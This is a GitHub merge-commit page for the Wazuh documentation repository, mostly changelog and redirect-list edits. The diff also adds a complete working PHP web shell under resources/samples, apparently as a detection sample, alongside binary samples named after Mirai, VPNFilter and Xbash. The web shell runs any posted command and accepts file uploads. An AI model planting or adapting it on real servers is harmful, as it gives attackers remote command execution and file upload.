Skip to content

Commit a946818

Browse files
committed
Merge branch 'main' into enhancement/idr329-clean-up-deprecated-agent-functionality
2 parents 2636aa4 + f877943 commit a946818

File tree

283 files changed

+8723
-7438
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

283 files changed

+8723
-7438
lines changed

.gitignore

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -23,4 +23,6 @@ source/_themes/wazuh_doc_theme_v3/static/css/min/*.css.map
2323
source/_themes/wazuh_doc_theme_v3/static/js/min/*.js.map
2424
source/_themes/wazuh_doc_theme_v3/static/js/min/redirects.min.js
2525
source/_static/css/*.min.css
26-
source/_static/js/*.min.js
26+
source/_static/js/*.min.js
27+
source/_static/server-api-spec/*
28+
!source/_static/server-api-spec/.keep

CHANGELOG.md

Lines changed: 95 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,7 @@ All notable changes to this project will be documented in this file.
99
- Added references for FIM (Syscheck) and inventory (Syscollector) state persistence settings. ([#8801](https://github.com/wazuh/wazuh-documentation/pull/8801))
1010
- Added documentation for SCA state persistence settings. ([#8841](https://github.com/wazuh/wazuh-documentation/pull/8841))
1111
- Added ARM64 support for Linux and macOS WPK packages. ([#8851](https://github.com/wazuh/wazuh-documentation/pull/8851))
12+
- Added ``integrity_interval`` to the syscheck ``synchronization`` configuration and updated the ``response_timeout`` default value. ([#9099](https://github.com/wazuh/wazuh-documentation/pull/9099))
1213

1314
### Changed
1415

@@ -30,9 +31,48 @@ All notable changes to this project will be documented in this file.
3031
- Removed documentation to deprecated `fluent-forward` tool. ([#8778](https://github.com/wazuh/wazuh-documentation/pull/8778))
3132
- Removed support for legacy operating systems, including Red Hat 5, CentOS 5, Oracle Linux 5, SUSE Linux Enterprise Server 11, AIX, HP-UX, Solaris, Windows XP, Windows Vista, and Windows Server 2003. ([#8894](https://github.com/wazuh/wazuh-documentation/pull/8894))
3233

34+
## [v4.14.3]
35+
36+
### Added
37+
38+
- Added the macOS 26 (Tahoe) SCA policy reference to the *Available SCA policies* section. ([#9158](https://github.com/wazuh/wazuh-documentation/pull/9158))
39+
40+
## [v4.14.2]
41+
42+
### Changed
43+
44+
- Updated the Wazuh module for Filebeat version references to ``0.5``. ([#9149](https://github.com/wazuh/wazuh-documentation/pull/9149))
45+
3346
## [v4.14.1]
3447

35-
- Support for Wazuh 4.14.1
48+
### Added
49+
50+
- **Post-release**: Added clarification to the ``field`` option in the *Rules syntax* section. ([#9103](https://github.com/wazuh/wazuh-documentation/pull/9103))
51+
- **Post-release**: Added Syscollector parameter references. ([#9108](https://github.com/wazuh/wazuh-documentation/pull/9108)) ([#9109](https://github.com/wazuh/wazuh-documentation/pull/9109))
52+
- **Post-release**: Added ``apache`` to the allowed ``log_format`` values in the localfile configuration documentation. ([#9114](https://github.com/wazuh/wazuh-documentation/pull/9114))
53+
- **Post-release**: Added step to set file ownership and permissions when modifying default decoders. ([#9141](https://github.com/wazuh/wazuh-documentation/pull/9141))
54+
55+
### Changed
56+
57+
- **Post-release**: Updated the *Navigating the Wazuh dashboard* section. ([#9105](https://github.com/wazuh/wazuh-documentation/pull/9105))
58+
- **Post-release**: Updated the *Development* section. ([#9104](https://github.com/wazuh/wazuh-documentation/pull/9104))
59+
- **Post-release**: Updated the *Agents* manifests in the *Deployment on Kubernetes* section. ([#9111](https://github.com/wazuh/wazuh-documentation/pull/9111))
60+
- **Post-release**: Updated the *Monitoring Microsoft Graph services with Wazuh* section. ([#9107](https://github.com/wazuh/wazuh-documentation/pull/9107))
61+
- **Post-release**: Updated the *log_format* reference sub-section. ([#9117](https://github.com/wazuh/wazuh-documentation/pull/9117))
62+
- **Post-release**: Updated deployment on Docker documentation. ([#9138](https://github.com/wazuh/wazuh-documentation/pull/9138))
63+
- **Post-release**: Updated the auditd restart command. ([#9140](https://github.com/wazuh/wazuh-documentation/pull/9140))
64+
- **Post-release**: Updated the *Resources* table in the *RBAC reference* guide. ([#9118](https://github.com/wazuh/wazuh-documentation/pull/9118))
65+
- **Post-release**: Updated the command in the Wazuh sever API *Getting started* guide. ([#9143](https://github.com/wazuh/wazuh-documentation/pull/9143))
66+
- **Post-release**: Updated the *Adding new Wazuh server nodes* section. ([#9144](https://github.com/wazuh/wazuh-documentation/pull/9144)) ([#9145](https://github.com/wazuh/wazuh-documentation/pull/9145))
67+
- **Post-release**: Updated the *Wazuh Cloud service* documentation. ([#9136](https://github.com/wazuh/wazuh-documentation/pull/9136))
68+
- **Post-release**: Updated the version references for the Wazuh certificates generation tool. ([#9152](https://github.com/wazuh/wazuh-documentation/pull/9152))
69+
- **Post-release**: Updated steps on the *Upgrading Wazuh Docker* section. ([#9155](https://github.com/wazuh/wazuh-documentation/pull/9155))
70+
- **Post-release**: Updated the Deployment on Kubernetes documentation. ([#9154](https://github.com/wazuh/wazuh-documentation/pull/9154))
71+
72+
### Removed
73+
74+
- **Post-release**: Removed the *Environment variables* sub-section in *Configuring AWS credentials*. ([#9110](https://github.com/wazuh/wazuh-documentation/pull/9110))
75+
- **Post-release**: Removed note about the credentials file in *Amazon Security Lake* section. ([#9112](https://github.com/wazuh/wazuh-documentation/pull/9112))
3676

3777
## [v4.14.0]
3878

@@ -42,15 +82,68 @@ All notable changes to this project will be documented in this file.
4282
- Added Rocky Linux 10 to the Wazuh agent packages list and the available SCA policies. ([#8799](https://github.com/wazuh/wazuh-documentation/pull/8799))
4383
- Updated monitoring Amazon Inspector documentation to include Inspector v2. ([#8820](https://github.com/wazuh/wazuh-documentation/pull/8820))
4484
- Updated the `filter` option in the `localfile` reference section. ([#8837](https://github.com/wazuh/wazuh-documentation/pull/8837))
85+
- Added Wazuh agent support for Debian 13. ([#8946](https://github.com/wazuh/wazuh-documentation/pull/8946))
86+
- Added a *Change the password of Wazuh users* step in Deployment on Kubernetes documentation. ([#8979](https://github.com/wazuh/wazuh-documentation/pull/8979))
87+
- **Post-release**: Added Wazuh indexer indices. ([#9009](https://github.com/wazuh/wazuh-documentation/pull/9009))
88+
- **Post-release**: Added mandatory dependency installation step for Debian-based operating systems in the *Deploying Wazuh agents on Linux endpoints* documentation. ([#9054](https://github.com/wazuh/wazuh-documentation/pull/9054))
89+
- **Post-release**: Added keystore update command in the section on installing the Wazuh dashboard. ([#9091](https://github.com/wazuh/wazuh-documentation/pull/9091))
4590

4691
### Changed
4792

4893
- Updated the Filebeat package revision number. ([#8627](https://github.com/wazuh/wazuh-documentation/pull/8627))
4994
- Updated centralized configuration (`agent.conf`) documentation to reflect that agents apply changes automatically (hot reload) without requiring a manual restart. ([#8711](https://github.com/wazuh/wazuh-documentation/pull/8711))
95+
- Updated the cloud security module dependencies for Python 3.13 compatibility. ([#8985](https://github.com/wazuh/wazuh-documentation/pull/8985))
96+
- Updated Docker and Kubernetes configurations to reflect new Wazuh indexer file paths. ([#8982](https://github.com/wazuh/wazuh-documentation/pull/8982))
97+
- **Post-release**: Updated step in *Keeping your custom Docker Compose files* section. ([#9010](https://github.com/wazuh/wazuh-documentation/pull/9010))
98+
- **Post-release**: Updated the *Deployment with Puppet* documentation. ([#9012](https://github.com/wazuh/wazuh-documentation/pull/9012)) ([#9016](https://github.com/wazuh/wazuh-documentation/pull/9016))
99+
- **Post-release**: Updated the command for changing Wazuh server API user passwords in the *Password management* documentation. ([#9051](https://github.com/wazuh/wazuh-documentation/pull/9051))
100+
- **Post-release**: Updated the *Configuring existing components to connect with the new node* sections. ([#9057](https://github.com/wazuh/wazuh-documentation/pull/9057))
101+
- **Post-release**: Updated the vulnerability detection compatibility matrix. ([#9060](https://github.com/wazuh/wazuh-documentation/pull/9060))
102+
- **Post-release**: Updated the IT hygiene use cases in the *Getting started* guide. ([#9071](https://github.com/wazuh/wazuh-documentation/pull/9071))
103+
- **Post-release**: Updated the Deployment on Kubernetes documentation. ([#9022](https://github.com/wazuh/wazuh-documentation/pull/9022))
104+
- **Post-release**: Updated the System Inventory documentation. ([#9052](https://github.com/wazuh/wazuh-documentation/pull/9052)) ([#9053](https://github.com/wazuh/wazuh-documentation/pull/9053)) ([#9067](https://github.com/wazuh/wazuh-documentation/pull/9067)) ([#9070](https://github.com/wazuh/wazuh-documentation/pull/9070)) ([#9073](https://github.com/wazuh/wazuh-documentation/pull/9073))
105+
- **Post-release**: Updated regulatory compliance documentation. ([#9074](https://github.com/wazuh/wazuh-documentation/pull/9074))
106+
- **Post-release**: Updated clarification on ``sca.remote_commands`` flag. ([#9077](https://github.com/wazuh/wazuh-documentation/pull/9077))
107+
- **Post-release**: Updated steps in the *Upgrading the Wazuh server* section. ([#9094](https://github.com/wazuh/wazuh-documentation/pull/9094))
108+
109+
### Fixed
110+
111+
- **Post-release**: Added missing step to *Updating old paths* in *Upgrading Wazuh on Kubernetes*. ([#9069](https://github.com/wazuh/wazuh-documentation/pull/9069))
112+
- **Post-release**: Updated the referenced OpenSearch version in the upgrade guide. ([#9068](https://github.com/wazuh/wazuh-documentation/pull/9068))
113+
- **Post-release**: Fixed indentation in ``remove-threat.py`` code line. ([#9078](https://github.com/wazuh/wazuh-documentation/pull/9078))
114+
115+
### Removed
116+
117+
- **Post-release**: Removed deprecation warnings for legacy operating systems. ([#9011](https://github.com/wazuh/wazuh-documentation/pull/9011))
50118

51119
## [v4.13.1]
52120

53-
- Support for Wazuh 4.13.1
121+
### Added
122+
123+
- **Post-release**: Updated the Wazuh Amazon Machine Images (AMI) documentation. ([#8938](https://github.com/wazuh/wazuh-documentation/pull/8938))
124+
- **Post-release**: Added the Wazuh global queries documentation. ([#8949](https://github.com/wazuh/wazuh-documentation/pull/8949))
125+
126+
### Changed
127+
128+
- **Post-release**: Updated the upgrade guide for Wazuh central components. ([#8934](https://github.com/wazuh/wazuh-documentation/pull/8934)) ([#8941](https://github.com/wazuh/wazuh-documentation/pull/8941)) ([#8944](https://github.com/wazuh/wazuh-documentation/pull/8944)) ([#8947](https://github.com/wazuh/wazuh-documentation/pull/8947)) ([#8956](https://github.com/wazuh/wazuh-documentation/pull/8956))
129+
- **Post-release**: Added indexer connector configuration steps to vulnerability detection documentation and removed troubleshooting section. ([#8942](https://github.com/wazuh/wazuh-documentation/pull/8942))
130+
- **Post-release**: Updated the *Navigating the Wazuh dashboard* section. ([#8950](https://github.com/wazuh/wazuh-documentation/pull/8950))
131+
- **Post-release**: Updated the System inventory documentation. ([#8955](https://github.com/wazuh/wazuh-documentation/pull/8955))
132+
- **Post-release**: Updated the *Getting started* guide. ([#8962](https://github.com/wazuh/wazuh-documentation/pull/8962)) ([#8963](https://github.com/wazuh/wazuh-documentation/pull/8963)) ([#8964](https://github.com/wazuh/wazuh-documentation/pull/8964)) ([#8965](https://github.com/wazuh/wazuh-documentation/pull/8965))
133+
- **Post-release**: Updated the URLs of malware samples. ([#8961](https://github.com/wazuh/wazuh-documentation/pull/8961))
134+
- **Post-release**: Updated the installation guide. ([#8936](https://github.com/wazuh/wazuh-documentation/pull/8936))
135+
- **Post-release**: Updated user manual documentation for Wazuh dashboard. ([#8967](https://github.com/wazuh/wazuh-documentation/pull/8967))
136+
- **Post-release**: Updated the prerequisites sub-section in *Deployment on Docker*. ([#8977](https://github.com/wazuh/wazuh-documentation/pull/8977))
137+
- **Post-release**: Updated the Virtual Machine (VM) documentation. ([#8981](https://github.com/wazuh/wazuh-documentation/pull/8981))
138+
- **Post-release**: Removed duplicated introductory bullets from source/cloud-security/azure/index.rst ([#8987](https://github.com/wazuh/wazuh-documentation/pull/8987))
139+
- **Post-release**: Updated the *Installation from sources* documentation. ([#8980](https://github.com/wazuh/wazuh-documentation/pull/8980))
140+
- **Post-release**: Updated the Amazon Security Lake integration documentation. ([#8989](https://github.com/wazuh/wazuh-documentation/pull/8989))
141+
- **Post-release**: Updated the *Deployment with Puppet* documentation. ([#8994](https://github.com/wazuh/wazuh-documentation/pull/8994))
142+
143+
### Fixed
144+
145+
- **Post-release**: Removed wazuh-states-fim index references. ([#8948](https://github.com/wazuh/wazuh-documentation/pull/8948))
146+
- **Post-release**: Removed unnecessary code block from agent installation from sources. ([#9000](https://github.com/wazuh/wazuh-documentation/pull/9000))
54147

55148
## [v4.13.0]
56149

resources/samples/mirai

77.9 KB
Binary file not shown.

resources/samples/vpn_filter

284 KB
Binary file not shown.

resources/samples/webshell

Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
<?php
2+
3+
set_magic_quotes_runtime(0);
4+
5+
print "<style>body{font-family:trebuchet ms;font-size:16px;}hr{width:100%;height:2px;}</style>";
6+
print "<center><h1>#worst @dal.net</h1></center>";
7+
print "<center><h1>You have been hack By Shany with Love To #worst.</h1></center>";
8+
print "<center><h1>Watch Your system Shany was here.</h1></center>";
9+
print "<center><h1>Linux Shells</h1></center>";
10+
print "<hr><hr>";
11+
12+
$currentWD = str_replace("\\\\","\\",$_POST['_cwd']);
13+
$currentCMD = str_replace("\\\\","\\",$_POST['_cmd']);
14+
15+
$UName = `uname -a`;
16+
$SCWD = `pwd`;
17+
$UserID = `id`;
18+
19+
if( $currentWD == "" ) {
20+
$currentWD = $SCWD;
21+
}
22+
23+
print "<table>";
24+
print "<tr><td><b>We are:</b></td><td>".$_SERVER['REMOTE_HOST']." (".$_SERVER['REMOTE_ADDR'].")</td></tr>";
25+
print "<tr><td><b>Server is:</b></td><td>".$_SERVER['SERVER_SIGNATURE']."</td></tr>";
26+
print "<tr><td><b>System type:</b></td><td>$UName</td></tr>";
27+
print "<tr><td><b>Our permissions:</b></td><td>$UserID</td></tr>";
28+
print "</table>";
29+
30+
print "<hr><hr>";
31+
32+
if( $_POST['_act'] == "List files!" ) {
33+
$currentCMD = "ls -la";
34+
}
35+
36+
print "<form method=post enctype=\"multipart/form-data\"><table>";
37+
38+
print "<tr><td><b>Execute command:</b></td><td><input size=100 name=\"_cmd\" value=\"".$currentCMD."\"></td>";
39+
print "<td><input type=submit name=_act value=\"Execute!\"></td></tr>";
40+
41+
print "<tr><td><b>Change directory:</b></td><td><input size=100 name=\"_cwd\" value=\"".$currentWD."\"></td>";
42+
print "<td><input type=submit name=_act value=\"List files!\"></td></tr>";
43+
44+
print "<tr><td><b>Upload file:</b></td><td><input size=85 type=file name=_upl></td>";
45+
print "<td><input type=submit name=_act value=\"Upload!\"></td></tr>";
46+
47+
print "</table></form><hr><hr>";
48+
49+
$currentCMD = str_replace("\\\"","\"",$currentCMD);
50+
$currentCMD = str_replace("\\\'","\'",$currentCMD);
51+
52+
if( $_POST['_act'] == "Upload!" ) {
53+
if( $_FILES['_upl']['error'] != UPLOAD_ERR_OK ) {
54+
print "<center><b>Error while uploading file!</b></center>";
55+
} else {
56+
print "<center><pre>";
57+
system("mv ".$_FILES['_upl']['tmp_name']." ".$currentWD."/".$_FILES['_upl']['name']." 2>&1");
58+
print "</pre><b>File uploaded successfully!</b></center>";
59+
}
60+
} else {
61+
print "\n\n<!-- OUTPUT STARTS HERE -->\n<pre>\n";
62+
$currentCMD = "cd ".$currentWD.";".$currentCMD;
63+
system($currentCMD);
64+
print "\n</pre>\n<!-- OUTPUT ENDS HERE -->\n\n</center><hr><hr><center><b>Command completed</b></center>";
65+
}
66+
67+
exit;
68+
69+
?>
70+

resources/samples/xbash

9.13 MB
Binary file not shown.

source/_static/js/redirects.js

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -107,10 +107,19 @@ removedUrls['5.0'] = [
107107
/* Pages added in 4.14 */
108108

109109
newUrls['4.14'] = [
110+
'/release-notes/release-4-14-3.html',
111+
'/release-notes/release-4-14-2.html',
110112
'/release-notes/release-4-14-1.html',
111113
'/release-notes/release-4-14-0.html',
114+
'/cloud-service/your-environment/limitations.html',
112115
]
113116

117+
/* Pages no longer available in x.y (this is not required if there is a redirection for this url) */
118+
119+
removedUrls['4.14'] = [
120+
'/development/selinux-wazuh-context.html'
121+
];
122+
114123
/* *** RELEASE 4.13 ****/
115124

116125
/* Pages added in 4.13 */
@@ -121,8 +130,17 @@ newUrls['4.13'] = [
121130
'/user-manual/wazuh-dashboard/global-queries.html',
122131
'/user-manual/capabilities/system-inventory/global-queries.html',
123132
'/user-manual/capabilities/file-integrity/global-queries.html',
133+
'/user-manual/capabilities/system-inventory/use-cases.html',
124134
]
125135

136+
/* Pages no longer available in x.y (this is not required if there is a redirection for this url) */
137+
138+
removedUrls['4.13'] = [
139+
'/user-manual/capabilities/vulnerability-detection/troubleshooting.html',
140+
'/user-manual/capabilities/vulnerability-detection/FAQ.html',
141+
'/user-manual/capabilities/vulnerability-detection/known-issues.html',
142+
];
143+
126144
/* *** RELEASE 4.12 ****/
127145

128146
/* Pages added in 4.12 */

source/_static/server-api-spec/.keep

Whitespace-only changes.

source/_templates/cloud/pip_installation.rst

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -4,17 +4,17 @@ You can install the required modules with Pip, the Python package manager. Most
44

55
.. tabs::
66

7-
.. group-tab:: Yum
7+
.. group-tab:: APT
88

99
.. code-block:: console
1010
11-
# yum update && yum install python3-pip
11+
# apt-get update && apt-get install python3-pip
1212
13-
.. group-tab:: APT
13+
.. group-tab:: Yum
1414

1515
.. code-block:: console
1616
17-
# apt-get update && apt-get install python3-pip
17+
# yum update && yum install python3-pip
1818
1919
We recommend using Pip 19.3 or later to simplify the installation of the dependencies. Run this command to check your pip version.
2020

@@ -39,7 +39,7 @@ If your pip version is less than 19.3, run the following command to upgrade the
3939
4040
# pip3 install --upgrade pip
4141
42-
.. group-tab:: Python 3.11–3.12
42+
.. group-tab:: Python 3.11–3.13
4343

4444
.. code-block:: console
4545

source/_templates/cloud/python_installation.rst

Lines changed: 4 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -4,17 +4,16 @@ The Wazuh module for |service| is compatible with Python |py_cloud_cont_min|–|
44

55
.. tabs::
66

7-
.. group-tab:: Yum
7+
.. group-tab:: APT
88

99
.. code-block:: console
1010
11-
# yum update && yum install python3
11+
# apt-get update && apt-get install python3
1212
13-
.. group-tab:: APT
13+
.. group-tab:: Yum
1414

1515
.. code-block:: console
1616
17-
# apt-get update && apt-get install python3
18-
17+
# yum update && yum install python3
1918
2019
.. End of include file

0 commit comments

Comments
 (0)